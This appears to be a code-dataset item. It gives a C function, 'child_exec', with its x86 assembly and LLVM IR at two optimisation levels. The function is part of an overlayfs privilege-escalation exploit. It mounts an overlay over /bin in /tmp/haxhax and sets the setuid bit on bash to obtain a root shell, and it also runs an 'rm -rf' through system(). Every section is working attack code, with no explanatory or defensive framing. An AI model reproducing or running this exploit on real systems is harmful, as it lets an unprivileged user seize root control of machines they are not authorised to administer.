#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ MS_MGC_VAL;
int /*<<< orphan*/ chdir(char *);
int /*<<< orphan*/ chmod(char *, int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int /*<<< orphan*/ mkdir(char *, int);
scalar_t__ mount(char *, char *, char *, int /*<<< orphan*/, char *);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ system(char *);
int /*<<< orphan*/ umount(char *);
int child_exec(void *stuff) {
  system("rm -rf /tmp/haxhax");
  mkdir("/tmp/haxhax", 0777);
  mkdir("/tmp/haxhax/w", 0777);
  mkdir("/tmp/haxhax/u", 0777);
  mkdir("/tmp/haxhax/o", 0777);
  if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL,
            "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") !=
      0) {
    fprintf(stderr, "mount failed..\n");
  }
  chmod("/tmp/haxhax/w/work", 0777);
  chdir("/tmp/haxhax/o");
  chmod("bash", 04755);
  chdir("/");
  umount("/tmp/haxhax/o");
  return 0;
}


x86 assembly (clang, -O0):
<child_exec>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
lea    0xe7d(%rip),%rdi
call   1070 <system@plt>
lea    0xe78(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xec4(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe62(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe5f(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
mov    0x2e05(%rip),%rax
mov    (%rax),%ecx
lea    0xe53(%rip),%rdx
lea    0xe3e(%rip),%rsi
lea    0xe4d(%rip),%r8
mov    %rdx,%rdi
call   1050 <mount@plt>
cmp    $0x0,%rax
je     1211 <child_exec+0xa1>
mov    0x2ddd(%rip),%rax
mov    (%rax),%edi
lea    0xe66(%rip),%rsi
call   1080 <fprintf@plt>
lea    0xe6a(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
lea    0xdf8(%rip),%rdi
call   1060 <chdir@plt>
lea    0xe60(%rip),%rdi
mov    $0x9ed,%esi
call   1090 <chmod@plt>
lea    0xe54(%rip),%rdi
call   1060 <chdir@plt>
lea    0xdcf(%rip),%rdi
call   1040 <umount@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<child_exec>:
push   %rbx
lea    0xe88(%rip),%rdi
call   1070 <system@plt>
lea    0xe83(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xecf(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe6d(%rip),%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
lea    0xe6a(%rip),%rbx
mov    %rbx,%rdi
mov    $0x1ff,%esi
call   1030 <mkdir@plt>
mov    0x2e0d(%rip),%rax
mov    (%rax),%ecx
lea    0xe5b(%rip),%rdi
lea    0xe5c(%rip),%r8
mov    %rbx,%rsi
mov    %rdi,%rdx
call   1050 <mount@plt>
test   %rax,%rax
je     1200 <child_exec+0x90>
mov    0x2dee(%rip),%rax
mov    (%rax),%edi
lea    0xe77(%rip),%rsi
call   1080 <fprintf@plt>
lea    0xe7b(%rip),%rdi
mov    $0x1ff,%esi
call   1090 <chmod@plt>
lea    0xe09(%rip),%rbx
mov    %rbx,%rdi
call   1060 <chdir@plt>
lea    0xe6e(%rip),%rdi
mov    $0x9ed,%esi
call   1090 <chmod@plt>
lea    0xe62(%rip),%rdi
call   1060 <chdir@plt>
mov    %rbx,%rdi
call   1040 <umount@plt>
xor    %eax,%eax
pop    %rbx
ret

LLVM IR (-O0):
@.str = [19 x i8] c"rm -rf /tmp/haxhax\00"
@.str.1 = [12 x i8] c"/tmp/haxhax\00"
@.str.2 = [14 x i8] c"/tmp/haxhax/w\00"
@.str.3 = [14 x i8] c"/tmp/haxhax/u\00"
@.str.4 = [14 x i8] c"/tmp/haxhax/o\00"
@.str.5 = [8 x i8] c"overlay\00"
@MS_MGC_VAL = global i32 0
@.str.6 = [59 x i8] c"lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w\00"
@stderr = global i32 0
@.str.7 = [16 x i8] c"mount failed..\0A\00"
@.str.8 = [19 x i8] c"/tmp/haxhax/w/work\00"
@.str.9 = [5 x i8] c"bash\00"
@.str.10 = [2 x i8] c"/\00"
define i32 @child_exec(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = call i32 @system(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i64 0, i64 0))
%4 = call i32 @mkdir(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0), i32 511)
%5 = call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0), i32 511)
%6 = call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.3, i64 0, i64 0), i32 511)
%7 = call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0), i32 511)
%8 = load i32, i32* @MS_MGC_VAL
%9 = call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i32 %8, i8* getelementptr inbounds ([59 x i8], [59 x i8]* @.str.6, i64 0, i64 0))
%10 = icmp ne i64 %9, 0
br i1 %10, label %11, label %14
11: ; preds = %1
%12 = load i32, i32* @stderr
%13 = call i32 @fprintf(i32 %12, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.7, i64 0, i64 0))
br label %14
14: ; preds = %11, %1
%15 = call i32 @chmod(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.8, i64 0, i64 0), i32 511)
%16 = call i32 @chdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0))
%17 = call i32 @chmod(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.9, i64 0, i64 0), i32 2541)
%18 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.10, i64 0, i64 0))
%19 = call i32 @umount(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [19 x i8] c"rm -rf /tmp/haxhax\00"
@.str.1 = [12 x i8] c"/tmp/haxhax\00"
@.str.2 = [14 x i8] c"/tmp/haxhax/w\00"
@.str.3 = [14 x i8] c"/tmp/haxhax/u\00"
@.str.4 = [14 x i8] c"/tmp/haxhax/o\00"
@.str.5 = [8 x i8] c"overlay\00"
@MS_MGC_VAL = global i32 0
@.str.6 = [59 x i8] c"lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w\00"
@stderr = global i32 0
@.str.7 = [16 x i8] c"mount failed..\0A\00"
@.str.8 = [19 x i8] c"/tmp/haxhax/w/work\00"
@.str.9 = [5 x i8] c"bash\00"
@.str.10 = [2 x i8] c"/\00"
define i32 @child_exec(i8* nocapture readnone %0) {
%2 = tail call i32 @system(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i64 0, i64 0))
%3 = tail call i32 @mkdir(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0), i32 511)
%4 = tail call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0), i32 511)
%5 = tail call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.3, i64 0, i64 0), i32 511)
%6 = tail call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0), i32 511)
%7 = load i32, i32* @MS_MGC_VAL
%8 = tail call i64 @mount(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i32 %7, i8* getelementptr inbounds ([59 x i8], [59 x i8]* @.str.6, i64 0, i64 0))
%9 = icmp eq i64 %8, 0
br i1 %9, label %13, label %10
10: ; preds = %1
%11 = load i32, i32* @stderr
%12 = tail call i32 @fprintf(i32 %11, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.7, i64 0, i64 0))
br label %13
13: ; preds = %10, %1
%14 = tail call i32 @chmod(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.8, i64 0, i64 0), i32 511)
%15 = tail call i32 @chdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0))
%16 = tail call i32 @chmod(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.9, i64 0, i64 0), i32 2541)
%17 = tail call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.10, i64 0, i64 0))
%18 = tail call i32 @umount(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.4, i64 0, i64 0))
ret i32 0
}